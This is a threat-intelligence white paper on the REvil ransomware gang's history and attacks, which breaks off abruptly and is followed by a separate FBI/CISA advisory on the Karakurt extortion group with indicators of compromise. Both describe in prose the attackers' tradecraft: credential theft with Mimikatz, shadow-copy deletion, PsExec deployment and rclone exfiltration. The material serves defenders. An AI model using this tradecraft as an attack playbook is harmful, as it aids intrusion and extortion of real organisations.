The REvil gang is an organized criminal enterprise based primarily out of Russia that runs a Ransomware as a Service (RaaS) operation. The core members of the gang reside and operate out of Russia. REvil leverages hackers for hire, known as affiliates, to conduct the breach, steal victim data, delete backups, and infect victim systems with ransomware for a share of the profits. Affiliates primarily stem from Eastern Europe, though a small percentage operate outside that region. In return, the core gang maintains and provides the ransomware payload, hosts the victim data leak/auction site, facilitates victim communication and payment services, and distributes the decryption key. In simpler terms, the core gang are the service providers and persona behind the operation, while the affiliates are the hired muscle facilitating attacks.
REvil is known for its high-profile attacks. The attacks range from Grubman Shire Meiselas & Sacks, an entertainment law firm associated with many celebrities and political figures, to Kaseya, a Managed Service Provider which REvil leveraged to compromise nearly 1,500 companies, among many others. These are only two of many high-profile victims attacked by REvil over the lifetime of their activity. Like many ransomware attackers, in addition to encrypting their target’s data, REvil often stole and copied victim data to further extort the target. If the victim refused to pay, REvil leaked or sold their data to other criminals.
Nevertheless, while it is clear REvil savored the spotlight, their greed led to their downfall. In July of 2021, as a direct result of the Kaseya attack, the United States government began taking action against REvil. REvil’s actions eventually led to discussions between two of the most powerful leaders in the world, resulting in US federal indictments and arrests of REvil members by Russian authorities. Yet the most significant cause leading to REvil’s downfall resulted from their own actions when they betrayed the criminal community which supported them.
In the rest of this white paper, we detail REvil’s origin story, significant events, and the dramatic twists and turns from one of the most interesting criminal stories we have seen to date. Then, we provide a detailed assessment showing the impact to the ransomware community after both the US and Russian governments acted against REvil.
Based on the analysis and research presented in this white paper, we have two significant findings which affect the ransomware community:
1. The United States will likely never prosecute REvil or other Russian-based ransomware criminals in their own court of law. However, US actions have psychologically impacted the Russian ransomware community and directly affected their criminal operations.
2. Ransomware groups are changing their day-to-day operating procedures and have new significant concerns about their operational security due to recent interference from government and law enforcement agencies. Analyst1 identified evidence demonstrating recent actions against the REvil crime ring that caused distrust and paranoia, directly affecting key players in the ransomware community.
# The Prequel: REvil’s Origin Story
One aspect of REvil we found interesting is the group’s availability to both media and security researchers. The gang built its brand on its name and used it as a persona to conduct interviews and release statements publicly. For example, Tomas Meskauskas, a security researcher from PCrisk, first communicated with the attacker through their own chat portal on May 1, 2019, when the gang first started. Meskauskas captured their conversation in his blog, describing his interactions with the attacker. In the conversation, Meskauskas asked their name and told the adversary they were being called Sodinokibi by security researchers. Interestingly, REvil was unaware and asked him to point out where this information came from, which Meskauskas did. REvil was at a loss as they did not have a name at the time but did not like Sodinokibi and told him to give them a few days and they would come up with a name. This event initiated the attacker to brand themselves “REvil.”
Later, in October 2020, we learned more about the meaning of the name REvil when one of the group’s operators took part in an interview in which they discussed their origin and aspects of their attacks. In the interview, the REvil operator stated the gang’s name is a combination of the terms “Ransom” and “Evil” (REvil) and was inspired by “Resident Evil,” a popular video game.
However, the story behind the gang’s name is interesting because before its operations started in April 2019, the individuals behind REvil began their criminal careers under another ransomware operation. It was this early activity where the gang gained experience in conducting ransomware attacks. The men who ran the operation named both their gang and their ransomware payload “GandCrab.” Initially, GandCrab conducted their own attacks. However, the gang evolved, and similar to REvil, GandCrab began relying on affiliates to assist in their attacks.
GandCrab ransomware operations took place from January 2018 until June 2019 when they allegedly retired and shut down the RaaS program. At the time, we had no real insight into the actual people behind GandCrab. When the gang retired in 2019, REvil emerged. Due to this and other associations, we initially believed the individuals behind the GandCrab gang simply rebranded as REvil. We believed this for several reasons.
First, the REvil payload shares similar development techniques and functionality with GandCrab ransomware. For example, both ransomware variants share the same string decoding functionality. The cybersecurity firm Secureworks noted the similarity and used the code to “fingerprint” the REvil payload. Using this “fingerprint,” they created a signature and explored malware repositories to identify other samples in the wild. Due to the similarities between both variants, their search returned both GandCrab and Sodinokibi ransomware payloads.
Second, the Sodinokibi payload used a similar method/function as GandCrab to facilitate the affiliate ID and sub-ID, which map the individual payload to the affiliate and its corresponding campaign. Third, in the first version of REvil ransomware, a debug path, “D:\\gc6\\core\\src\\common\\debug.c,” exists. Note that the path includes the characters “gc6.” GandCrab produced several updates/versions to their ransomware over its lifespan. The last iteration was GandCrab version 5 (GC5), leading researchers to speculate Sodinokibi is the next generation of GandCrab ransomware.
Further, most GandCrab affiliates transitioned to the REvil operation, dispersing the REvil payload on victim systems once GandCrab exited, further supporting the link between the two gangs. For these reasons, we believed the entity behind REvil were the same individuals behind GandCrab. Instead, based on information provided in both REvil interviews and supporting evidence found in a US indictment, it appears we got this partially wrong.
Based on the earlier interview with a REvil operator, the individuals behind it were actually affiliates of the GandCrab gang and not the core gang itself. According to a REvil operator, when GandCrab retired, the affiliate, which evolved into REvil, approached the GandCrab gang and purchased its ransomware source code. It is not clear if REvil purchased GandCrab v5 source code and used it to develop Sodinokibi or if GandCrab created it and sold it to the REvil gang.
Either way, someone repurposed, modified, and developed it, or parts of it, into the Sodinokibi Ransomware payload. It’s important to note that Sodinokibi and GandCrab ransomware are not the same source code. Still, they appear to share the same developer and use some of the same code logic to achieve similar functionality, as we discussed in the earlier example. REvil used this new (at the time) payload, Sodinokibi, throughout their operation.
We questioned REvil’s claims surrounding their origin. It’s possible REvil rebranded themselves from GandCrab and lied about their history. However, the REvil operator admits to conducting illegal ransomware and hacking activities supporting the GandCrab gang. To us, it seems illogical for REvil to lie about their affiliation to GandCrab yet admit to conducting the crimes behind its operation. For these reasons, we believe REvil’s affiliation claim is likely accurate. If REvil operators are GandCrab affiliates and not its core members as initially thought, the obvious question is who was behind GandCrab. While this question is outside the scope of this white paper, it has never been answered.
On April 25, 2019, over a month before GandCrab’s retirement, REvil conducted its first of many attacks. In the early attack, REvil took advantage of a zero-day, exploiting a vulnerability in Oracle WebLogic Server. After initial access, REvil enumerated the environment, identified domain controllers, and staged their payload in an attempt to infect the victim and encrypt their data. However, interestingly, in this first attack, REvil used both their new Sodinokibi payload and GandCrab ransomware on systems throughout the target environment. We don’t know why the attacker used both payloads, but the time frame and access to both ransomware variants further support the relationship between the two gangs.
## Affiliate Recruitment
For a RaaS program to succeed, there must be a solid provider to support operations and even stronger affiliates to compromise targets efficiently. If either is weak or inefficient, so will the rest of the operation. For example, if you have a strong affiliate program that is exceptional at compromising victims, but the provider cannot negotiate with victims or launder the proceeds, the program will fail. Since REvil themselves began as an affiliate, they knew they needed to recruit the most qualified hacker teams to breach targets. To do so, REvil began posting recruitment ads to the same underground forums in which GandCrab previously participated.
REvil needed experienced affiliates and wanted to ensure the affiliates who supported GandCrab moved to their program. To demonstrate they were a serious RaaS provider and show affiliates there was money to be made, REvil first deposited $130,000 worth of bitcoin across two underground forums where they conducted recruiting. Money deposited to the forum can be used to purchase malware and services. REvil claimed to pay up to 70% of the profit earned from victim ransom payments in their recruiting posts.
Initially, REvil only sought to partner with five affiliates:
> “Five affiliates more can join the program, and then we’ll go under the radar. Each affiliate is guaranteed USD 10,000. Your cut is 60 percent at the beginning, and 70 percent after the first three payments are made. Five affiliates are guaranteed [$]50,000 in total. We have been working for several years, specifically five years in this field. We are interested in professionals.” — REvil
REvil also refused to work with mediocre hackers still learning their trade and considered only sophisticated and proven affiliates. Additionally, candidates for the affiliate program had to be native Russian speakers.
Note: Similar to other Russian-based ransomware attackers, REvil prohibits its affiliates from attacking countries within the Commonwealth of Independent States (CIS), which formerly made up the Soviet Union. REvil also configured the Sodinokibi ransomware to check systems for languages used in CIS-based countries. If the ransomware detects a CIS language used on the target system, the payload will not execute.
Further, to filter out law enforcement and researchers posing as candidates, REvil would ask questions based on local traditions or myths they believed could be known only to Russian and Ukrainian nationals. To facilitate candidate interviews, REvil used qTox, an encrypted peer-to-peer chat, voice, and video communications client that functions over the Tor network. Interviews involve the candidate and multiple REvil operators who communicate in the chat session. Candidates are interviewed and, if accepted, placed on an affiliate team comprised of four to five team members. The affiliate percentage of the profit, allegedly 70%, must be divided and shared among the members of the affiliate team.
# Part I: REvil Awakens
By June 2019, GandCrab closed down its RaaS program, released a decryptor key, and went dark. REvil and their affiliates quickly filled the gap left by GandCrab’s departure. However, REvil added a new component to their attack playbook. In addition to encrypting victim data, REvil began stealing it as a second method to extort its target further. Now, if the victim chooses not to pay, REvil threatens to release or sell the victim’s data to other criminals. REvil was the first gang to use this tactic in attacks. REvil used the data as a double extortion tactic to demand higher ransom amounts from the victim. Today, most ransomware attackers have adopted this technique.
Once REvil affiliates complete the attack phase, the victim’s data is encrypted, and a ransom note, such as the one shown in Figure 3, is presented to the victim.
The victim then uses the key included in the ransom note, which is specific to their organization, to log in to REvil’s chat/support portal and data leak site.
Additionally, each entry provided has its own countdown timer. REvil gives the victim a limited time frame to pay the ransom. During this time, REvil begins posting a small percentage of the data onto their leak/auction site with a brief description of each data archive that anyone can download and access.
The longer it takes a victim to pay, the more of their data is exposed. If the victim refuses to pay and time runs out, REvil auctions their data to the highest criminal bidder. While the purpose of the leak site is to entice the victim to pay, essentially, it is an online auction, and if the victim does not pay for their data, someone else, a criminal, usually will.
## REvil Operations 2019
With REvil, it’s all about the money, and they will use various methods to generate income from a target or its data. For example, a unique tactic seen in REvil’s early operations involved Point of Sale (PoS) systems. In addition to their normal ransom activities, REvil attempts to compromise PoS terminals and steal sensitive data, such as credit card information. This tactic is primarily used when the victim is in the retail industry.
In REvil’s first few months of operations, a managed service provider (MSP) became one of REvil’s initial victims between June and July 2019. Interestingly, GandCrab conducted a similar attack on another MSP only four months prior, in February 2019. Perhaps, as a former GandCrab affiliate, REvil knew an MSP would be a lucrative target. MSPs support and can access their customer’s environments, which is likely why REvil chose them as a target. REvil leveraged this access, compromised the MSP’s downstream customers, and used TrickBot malware to spread and infect them with Sodinokibi ransomware. In total, REvil compromised 23 local government organizations in Texas, a data backup company, and a large number of dental facilities within their first few months of operation. In the initial attacks, REvil exploited a Microsoft Windows vulnerability (CVE-2018-8453) which allowed the attacker to gain administrative privileges early in the attack while going unnoticed by defenders.
Note: While researching the attacks, we realized REvil and GandCrab compromised three major US MSPs and their customers between February 2019 and July 2021. We will discuss the 2021 MSP breach further in this report. Yet, MSPs continued to be targeted by ransomware attackers, as did their customers. To be fair, some of the compromised downstream MSP customers could have protected themselves if they had patched their software with updates offered by the MSP provider. Based on this historical reoccurring pattern of attacks on MSPs, we believe they will likely continue to be targeted by ransomware gangs looking for an easy target with deep pockets to pay out their ransom.
In late August 2019, REvil affiliates conducted reconnaissance on one of the largest banks in Chile, BancoEstado, identifying public and private email addresses used by employees for day-to-day business purposes. REvil crafted phishing emails using the target list that instructed the bank’s employee to open a weaponized office document. However, the document silently installs a backdoor on the bank system once opened. Fortunately for the bank, the initial breach provided REvil with access to only the bank’s corporate network used to facilitate day-to-day business, not the operational network used to facilitate financial transactions.
Once in the environment, REvil enumerated the bank’s network and identified high-value systems such as domain controllers and file servers. Next, REvil used publicly available hacktools, such as Mimikatz, to steal passwords from privileged users. With administrative privileges, REvil invoked Vssadmin to delete shadow copies necessary to restore data and executed scripts that disabled various security products that might identify their ransomware payload.
In the early hours of Saturday, September 6, 2019, with the environment primed for the attack, REvil used PsExec, a Windows administrative tool, to distribute and execute Sodinokibi ransomware throughout the environment, rendering the bank’s corporate data useless. When employees came into work a few hours later, they found their files encrypted and a ransom note displaying instructions to contact REvil and arrange payment in exchange for the decryption key. The bank had no choice but to close operations while dealing with the breach. Analyst1 could not confirm if REvil stole bank data in addition to encrypting it; however, based on previous attacks, we believe it is likely. It is also worth noting that, based on attack data analyzed, a pattern exists in which REvil often conducts the ransom execution phase of their attacks on weekend evenings when most organizations are closed, similar to the BancoEstado incident.
While not the only method, up to this point, the attacker primarily relied on phishing emails to infect targets. However, shortly after the BancoEstado breach, REvil altered its tactics for the initial breach and increased its use of “for sale” malware known as the RIG exploit kit. RIG’s attack chain primarily relies on “drive-by” infections, delivered through a malvertising campaign in which a victim’s browser gets redirected to a website implanted with the exploit kit’s malicious code.
While drive-by infections are the most popular with exploit kits, it is not the only method effective at compromising targets. REvil used both drive-by attacks and phishing emails in their attacks involving the exploit kit. REvil likely chose RIG due to its ability to provide various exploits, effective against many software vulnerabilities, increasing the likelihood of a successful infection. When a potential victim browses to a REvil-hosted malicious website, RIG provides an à-la-carte variety of exploit options, which the attacker relies on to identify and compromise a vulnerability in the target’s system, such as unpatched software. If successful, RIG then installs a backdoor or other malware used to further the attack and provide REvil access to the target’s system and environment.
REvil used the RIG exploit kit as early as June but still relied more on spam campaigns and other infection vectors. That, in addition to REvil’s targeting, changed in November 2019. At that time, REvil began to use RIG to target Asia-based organizations heavily. In the campaign, targeted organizations spanned several Asian countries, including Malaysia, Vietnam, and Korea. REvil’s most prevalent use of RIG was to exploit the victim and run code that downloads a malicious VBScript, giving the attacker the ability to install backdoors as well as their Sodinokibi payload.
On December 4, 2019, REvil compromised CyrusOne, a data center and infrastructure-as-a-service (IaaS) provider. Specifically, the organization “serves thousands of customers across 48 different data centers located around the world.” REvil leveraged the attack further to infect six of CyrusOne’s managed service customers, including financial and brokerage firms. At the time, CyrusOne stated they did not intend to pay the ransom. CyrusOne knew they could be a target for ransomware attacks as a data center provider. The company listed ransomware as one of its biggest risks in an annual report to the Securities and Exchange Commission about a year before the attack.
Admirably, CyrusOne claims they would not and did not pay the ransom. Fortunately, it appears the organization still had backups of their data, allowing them to restore their environment and assist customers affected by the attack. However, that only addresses the data REvil encrypted, not what they stole. It is unclear if REvil auctioned off the stolen data as they typically do when a victim does not pay. Additionally, CyrusOne stated they worked with law enforcement and cooperated with the investigation.
Like the June 2019 attack against an MSP, in this attack, REvil continued to show its targeting choices involve supply chain organizations. From an attacker’s perspective, this makes sense. They breach one organization and gain access to its downstream customers, who trust the initial target, further maximizing their opportunity to generate ransom-based revenue.
New Year is one of Russia’s most celebrated holidays. Russians officially celebrate for ten days between December 30 and January 8. However, while the rest of the world celebrated New Year’s Eve on December 31, 2019, REvil was hard at work to compromise Travelex, a foreign currency exchange, which at the time was REvil’s most significant target. While REvil conducted the ransomware execution phase of their attack on December 31, the earlier stages of the attack began much earlier.
BBC, a news and media organization reporting on the story, reached out to REvil on the gang’s chat support page. Surprisingly, REvil responded to their questions. According to REvil, the attack began six months prior, in June 2019. Most enterprise ransomware attacks range from three to twenty-one days. It’s doubtful an attacker would risk getting caught by sitting in a target environment for six months. Regardless of the time frame, REvil not only encrypted Travelex data, but it also claimed to have stolen a database containing Personal Identifiable Information (PII) on Travelex customers, such as names, dates of birth, and credit card numbers.
Unfortunately, Travelex responded to the attack very poorly, doing just about everything a company should not do when responding to such a situation. Travelex did not report the breach or the stolen data required by the General Data Protection Regulation (GDPR). Making matters worse, Travelex outright lied to both their customers and business partners who relied on their services, claiming the outage was due to “planned maintenance.” Travelex likely did not count on REvil posting messages and data related to the attack on its data leak site, let alone speaking to reporters. Further, due to the global outage of services, Travelex asked customers to go into branches in person where “pen and paper” transactions took place. Obviously, this response could not scale Travelex’s global operations, making it clear REvil’s claims were true.
Ironically, Travelex could and should have easily avoided the entire incident. According to Travelex revenue reporting, the company reported nearly a billion dollars in revenue in 2018, a year before the ransomware incident. Despite its deep pockets, Travelex cut corners and did not secure its infrastructure, making the initial breach extremely easy. REvil gained initial access and administrative privileges into Travelex systems by taking advantage of a vulnerability (CVE-2019-11510) in the company’s VPN software. Ironically, Pulse Secure, the VPN software provider, patched the vulnerability in April 2019, eight months prior to the breach. If Travelex simply applied the patch to its Pulse Secure VPN servers, REvil could not have exploited it. This vulnerability received a lot of media attention since it required little technical expertise to render the exploit and the extremely high level of risk associated with the vulnerability. Unfortunately, much like their response to the breach, Travelex handled their security and vulnerability patching very poorly.
At the time, Travelex was not only REvil’s most prominent target, but it was also their most lucrative endeavor. REvil demanded a ransom of $6 million worth of bitcoin in exchange for the decryption key and a promise to delete and not sell their customers’ data (fingers crossed). In the end, Travelex made a $2.3 million ransom payout to REvil. Unfortunately, Travelex never truly recovered from this attack. Due to the breach, Travelex shut down business operations to include its websites, used by their customers, in over 30 countries globally. By August 2021, the firm ceased operations in the United States and was forced into bankruptcy.
# REvil Operations 2020
Since the beginning, REvil has continuously made headlines with its attacks. However, REvil became known far outside the cybersecurity community when they took down Travelex. A little over a month after the Travelex attack, in February 2020, REvil compromised and extorted the clothing manufacturer and designer, Kenneth Cole Productions. Then, in May 2020, REvil compromised Grubman Shire Meiselas & Sacks, a New York-based entertainment law firm. A law firm may not seem as notable as Travelex or Kenneth Cole. However, this particular firm had well-known political and celebrity clients. REvil stole 756GB of sensitive data pertaining to various legal contracts and negotiations involving celebrity clients which the firm represented.
Making the situation worse, the firm’s high-profile clients were at risk of blackmail, in addition to the $21 million ransom demand between REvil and Grubman Shire Meiselas & Sacks directly. In an attempt to apply pressure, REvil began to leak the firm’s data on their data leak (auction) site.
The initial data leak included confidential legal information and contracts for celebrity clients such as Lady Gaga, Madonna, and Christina Aguilera. When the firm still refused to pay, REvil doubled the ransom, now demanding a $42 million ransom payment. Additionally, according to a post from a known REvil persona on a Russian-speaking underground forum, if not paid, REvil would release data on then-President Donald Trump:
> “There’s an election race going on, and we found a ton of dirty laundry. Mr. Trump, if you want to stay president, poke a sharp stick at the guys; otherwise, you may forget this ambition forever, and to you voters, we can let you know that after such a publication, you certainly don’t want to see him as president. Well, let’s leave out the details. The deadline is one week.” — REvil
Now, you have to remember, while REvil had sensitive data between the law firm and their clients, that does not mean the information was actually as damaging as they claimed. For example, while sensitive, the celebrity data leaked was far from damaging or embarrassing, as the gang suggested. Instead, they were simply contracts with various entertainment and concert venues. More importantly, President Trump’s representatives stated the President was not a client of the law firm. Taking a page from their home countries’ government tactics, REvil may have taken valid stolen data and put a spin on it to make it appear far more damaging than it was. While REvil can hack some of the world’s most prestigious organizations, it failed to post 1GB of data containing a trove of documents related to the firm’s celebrity clients. REvil tried to post the data to a publicly available file upload service to make it more accessible to the average Joe. However, the provider immediately terminated their account and disabled the download, making REvil look foolish.
To try and save face, REvil posted 169 emails associated with or involving businesses surrounding President Trump. However, the emails were meaningless and did not provide “dirt” on President Trump. Instead, the effort showed REvil for what they are, lying criminals that steal and extort legitimate individuals and businesses.
In the end, REvil continued to release data until their auction countdown ran out. Taking advantage of the media attention this attack drew, REvil made a spectacle of selling the data to the first criminal willing to pay the $1.5 million price tag. However, to their embarrassment, no one bought the data when the auction ended, once again leaving REvil to look silly. This embarrassment is important to note, as REvil began to significantly target larger, more noteworthy targets after this attack in a likely effort to reclaim their credibility after such a public failure.
Following the failed extortion attempt against the US law firm, REvil conducted attacks against a major ISP in Sri Lanka, Sri Lanka Telecom (SLT), and the largest telecom in Argentina, Telecom Argentina, between May and June 2020. The attack in Sri Lanka failed, leaving only a small subsection of the company’s infrastructure exposed to REvil, who tried to deploy Sodinokibi throughout their environment. Fortunately, the Sri Lanka telecom identified actors in their network and mitigated the threat before REvil could complete the attack, and neither operating services nor customer data were affected. Telecom Argentina, however, was not as lucky. REvil attackers gained administrative privileges early in the attack and quickly stole and encrypted data on almost 18,000 systems within the provider’s infrastructure. Still, REvil failed to affect customer services such as internet connectivity in this attack. Instead, systems and data relating to the ISP’s call center took the most damage. REvil demanded Telecom Argentina pay $7.5 million to restore systems and prevent stolen data from being sold at their criminal auction. Showing their greed, REvil threatened to double the price to $15 million if not paid within three days. The telecom claims they did not pay the ransom. Since no customer-facing operational services were affected, and business continued as usual, it seems likely they did not. Additionally, REvil did not remove the telecom from their auction site, indicating the ransom was never paid. Despite their initial success, this was another example of a string of failures in which REvil put in the time and effort to reach a target but failed to generate income for their actions.
Note: We are calling out a string of failed ransom attempts by REvil. However, there are other breaches during this time that did result in a ransom payment. Nevertheless, the string of very public failed attempts involving high-profile targets likely embarrassed REvil and demonstrated a trend that we believe led REvil to invest in themselves and further develop their operation.
# Part II: REvil Advances
Several months after the public embarrassment of REvil’s failed attempt to extort celebrities, the US president, and several global telecom/ISPs, REvil made a significant move to improve their operation. On September 27, 2020, REvil reinitiated its efforts to recruit the best ransomware affiliates. In an effort to draw affiliates away from other RaaS providers, REvil deposited 99 bitcoins, valuing $1 million at the time, to an underground hacker forum, demonstrating there was money to be made with their partnership. The public embarrassment and failure to monetize the data stolen from Grubman Shire Meiselas & Sacks likely contributed to REvil’s increased effort to grow their operational efficiency. As a result, REvil hired more skilled hacker affiliates and initiated new campaigns against even bigger targets.
A second recruitment ad showed REvil was looking for a negotiator and a “tier 1 network provider.” From the post, you can see some of the differences in skill sets desired compared to earlier efforts discussed. For example, the negotiator must speak English, which is likely due to the high number of US targets and the ability/experience in communicating with media, recovery, and insurance companies—all of which could play a role in negotiating ransom payments. We found it interesting that REvil sought individuals who could use “VoIP technology with voice scrambling” to conduct negotiations “both in text and verbally.” This is interesting since we are unaware of an incident in which REvil conducted negotiations over the phone and have only observed negotiations through the gang’s chat portal hosted on their infrastructure or by email.
Furthermore, note that REvil calls out targets in the government sector and defense systems. Again, in the tier 1 network provider role, REvil seeks candidates who have experience exploiting technologies such as Citrix, SolarWinds, and BlueGate, which are all critical technologies seen compromised in ransomware attacks.
As discussed earlier, REvil enjoys the spotlight and has conducted interviews over the lifespan of its operations. Before October 2020, REvil’s communications took place on their chat portal, email between themselves and select reporters, and posts to underground forums. In October, that changed when a YouTube channel, Russian OSINT, conducted a lengthy interview with one of REvil’s core operators. The interview is in Russian, but researcher @Sapphirex00 translated and posted an English version here. The interview provided insight into REvil’s mindset and details about their origin. The interview revealed interesting information. For example, REvil claimed it makes $100 million annually and relies on ten developers internally to maintain and upgrade the Sodinokibi payload. As discussed earlier, REvil disclosed their background prior to becoming REvil and the significance of their name, among other interesting details.
A few weeks later, on November 16, 2020, REvil attacked Managed.com, a website-hosting provider. The attack resulted in both service downtime and likely a loss in customers who could not risk having their websites offline. After the attack, the website-hosting provider took down their entire hosting infrastructure globally to prevent further damage. In the end, REvil demanded a $500K ransom that would double if not paid before the auction timer on REvil’s data leak site expired. Again, note REvil’s trend in attacking organizations with relationships and access to many other organizations through their services and infrastructure.
While not a ransomware attack, another significant event took place in November when REvil purchased the source code for KPOT 2.0, an information-stealing malware variant. KPOT is used to steal usernames and passwords from web browsers, instant messengers, email clients, VPNs, RDP services, FTP apps, cryptocurrency wallets, and gaming software. REvil purchased KPOT for $6,500 from its author who was moving on to other projects. Its developer decided to sell KPOT on an auction on a dark web forum. REvil purchased the malware to add to its toolbox to leverage in attacks against its targets. It’s unclear how long it took REvil to further develop and integrate KPOT into its attacks. However, shortly after its purchase, in December 2020, the gang compromised another significant target—“The Hospital Group,” a large plastic surgery chain known for its celebrity clients. REvil did not learn its lesson after failing to extort public figures when they previously compromised the entertainment law firm. Similar to other incidents, REvil conducted their typical attack chain of stealing and then encrypting the plastic surgeon’s data. REvil threatened to release intimate patient photos such as their “before and after” pictures if the organization did not pay the ransom.
It was over the next few months when REvil’s endeavor to advance their effort and recruit more experienced and advanced affiliates finally paid off. First, on January 14, 2021, Pan-Asian Group “Dairy Farm,” a retailer with over ten thousand locations throughout Asia, became one of the year’s first victims. Unfortunately, the Dairy Farm Group did not understand the full magnitude of the breach. According to early reports, Dairy Farm believed the attacker impacted only a small portion of their network. Additionally, Dairy Farm did not believe REvil stole their data or had access to their network.
The Dairy Farm Group either did not want to disclose the full impact of the attack or was truly unaware of how bad things were about to get. They did not know that REvil had already begun to exfiltrate and stage Dairy Farm data to their leak site, in preparation to auction off the retailer’s data if the ransom went unpaid. Worse, REvil embedded itself throughout the retailer’s network and threatened to use its infrastructure for future phishing campaigns. While we cannot confirm if this ever came to fruition, it is an interesting play by the attacker, who could leverage the access acquired in the initial Dairy Farms attack to infect their customers and partners via Dairy Farms’ own infrastructure. Making things more alarming, REvil demanded Dairy Farm pay $30 million, the highest ransom demanded by any ransomware gang at the time. However, the record ransom lasted for only a short time.
On March 14, 2021, REvil attacked the Taiwanese computer manufacturer Acer and demanded $50 million, which would increase to $100 million if not paid at the termination of the data auction. Acer unsuccessfully tried to negotiate a $10 million payment, which the attacker rejected. While Acer did not pay the $50 million ransom, on April 18, 2021, REvil continued their pursuit with another high-profile target, Quanta Computers, asking for the same amount. Similar to other attacks, in addition to exposing Quanta, REvil also threatened to expose data associated with their customers. Except this time, REvil had far more leverage since Quanta manufactured laptops for the computer and phone giant Apple. Now, REvil threatened to release sensitive blueprints associated with Apple’s new laptop and smartwatch. Quanta denied the severity of the breach publicly, but the leaked data made it clear REvil was not bluffing. When Quanta chose not to pay, REvil threatened Apple directly:
> “Drawings of all Apple devices and all personal data of employees and customers will be published with subsequent sale.” — REvil
Then, on April 20, while Apple announced new products at a live online sales event, REvil leaked additional data to include schematics of Apple’s new MacBook Pro laptop. REvil also threatened to release additional data every day until the auction ran out or Apple paid the ransom. However, REvil terminated their auction early, removed Apple data from their leak site, and made no further threats or ransom demands to Apple. Usually, this only happens if a victim pays. It would appear REvil’s attempt to hire highly skilled hackers as affiliates after several failed attempts finally paid off for a big payout. |
# Karakurt Data Extortion Group
## SUMMARY
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury, and the Financial Crimes Enforcement Network (FinCEN) are releasing this joint Cybersecurity Advisory (CSA) to provide information on the Karakurt data extortion group, also known as the Karakurt Team and Karakurt Lair. Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation.
Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.
Karakurt actors have typically provided screenshots or copies of stolen file directories as proof of stolen data. They have contacted victims’ employees, business partners, and clients with harassing emails and phone calls to pressure the victims to cooperate. The emails have contained examples of stolen data, such as social security numbers, payment accounts, private company emails, and sensitive business data belonging to employees or clients. Upon payment of ransoms, Karakurt actors have provided some form of proof of deletion of files and, occasionally, a brief statement explaining how the initial intrusion occurred.
To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## TECHNICAL DETAILS
### Initial Intrusion
Karakurt does not appear to target any specific sectors, industries, or types of victims. During reconnaissance, Karakurt actors appear to obtain access to victim devices primarily:
- By purchasing stolen login credentials
- Via cooperating partners in the cybercrime community, who provide Karakurt access to already compromised victims
- Through buying access to already compromised victims via third-party intrusion broker networks
Common intrusion vulnerabilities exploited for initial access in Karakurt events include the following:
- Outdated SonicWall SSL VPN appliances
- Log4j “Log4Shell” Apache Logging Services vulnerability
- Phishing and spearphishing
- Malicious macros within email attachments
- Stolen virtual private network (VPN) or Remote Desktop Protocol (RDP) credentials
- Outdated Fortinet FortiGate SSL VPN appliances
- Outdated and/or unserviceable Microsoft Windows Server instances
### Network Reconnaissance, Enumeration, Persistence, and Exfiltration
Upon developing or obtaining access to a compromised system, Karakurt actors deploy Cobalt Strike beacons to enumerate a network, install Mimikatz to pull plain-text credentials, use AnyDesk to obtain persistent remote control, and utilize additional situation-dependent tools to elevate privileges and move laterally within a network.
Karakurt actors then compress (typically with 7zip) and exfiltrate large sums of data—and, in many cases, entire network-connected shared drives in volumes exceeding 1 terabyte (TB)—using open source applications and File Transfer Protocol (FTP) services, such as Filezilla, and cloud storage services including rclone and Mega.nz.
### Extortion
Following the exfiltration of data, Karakurt actors present the victim with ransom notes by way of “readme.txt” files, via emails sent to victim employees over the compromised email networks, and emails sent to victim employees from external email accounts. The ransom notes reveal the victim has been hacked by the “Karakurt Team” and threaten public release or auction of the stolen data. The instructions include a link to a TOR URL with an access code. Visiting the URL and inputting the access code opens a chat application over which victims can negotiate with Karakurt actors to have their data deleted.
Karakurt victims have reported extensive harassment campaigns by Karakurt actors in which employees, business partners, and clients receive numerous emails and phone calls warning the recipients to encourage the victims to negotiate with the actors to prevent the dissemination of victim data. These communications often included samples of stolen data—primarily personally identifiable information (PII), such as employment records, health records, and financial business records.
Victims who negotiate with Karakurt actors receive a “proof of life,” such as screenshots showing file trees of allegedly stolen data or, in some cases, actual copies of stolen files. Upon reaching an agreement on the price of the stolen data with the victims, Karakurt actors provide a Bitcoin address—usually a new, previously unused address—to which ransom payments could be made. Upon receiving the ransom, Karakurt actors provide some form of alleged proof of deletion of the stolen files, such as a screen recording of the files being deleted, a deletion log, or credentials for a victim to log into a storage server and delete the files themselves.
Although Karakurt’s primary extortion leverage is a promise to delete stolen data and keep the incident confidential, some victims reported Karakurt actors did not maintain the confidentiality of victim information after a ransom was paid. The U.S. government strongly discourages the payment of any ransom to Karakurt threat actors, or any cyber criminals promising to delete stolen files in exchange for payments.
In some cases, Karakurt actors have conducted extortion against victims previously attacked by other ransomware variants. In such cases, Karakurt actors likely purchased or otherwise obtained previously stolen data. Karakurt actors have also targeted victims at the same time these victims were under attack by other ransomware actors. In such cases, victims received ransom notes from multiple ransomware variants simultaneously, suggesting Karakurt actors purchased access to a compromised system that was also sold to another ransomware actor.
Karakurt actors have also exaggerated the degree to which a victim had been compromised and the value of data stolen. For example, in some instances, Karakurt actors claimed to steal volumes of data far beyond the storage capacity of compromised systems or claimed to steal data that did not belong to the victim.
## Indicators of Compromise
### Email
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
Protonmail email accounts in the following formats:
- [email protected]
- [email protected]
- [email protected]
### Tools
- Onion site: omx5iqrdbsoitf3q4xexrqw5r5tfw7vp3vl3li3lfo7saabxazshnead.onion
- Tools: Rclone.exe, AnyDesk.exe, Mimikatz
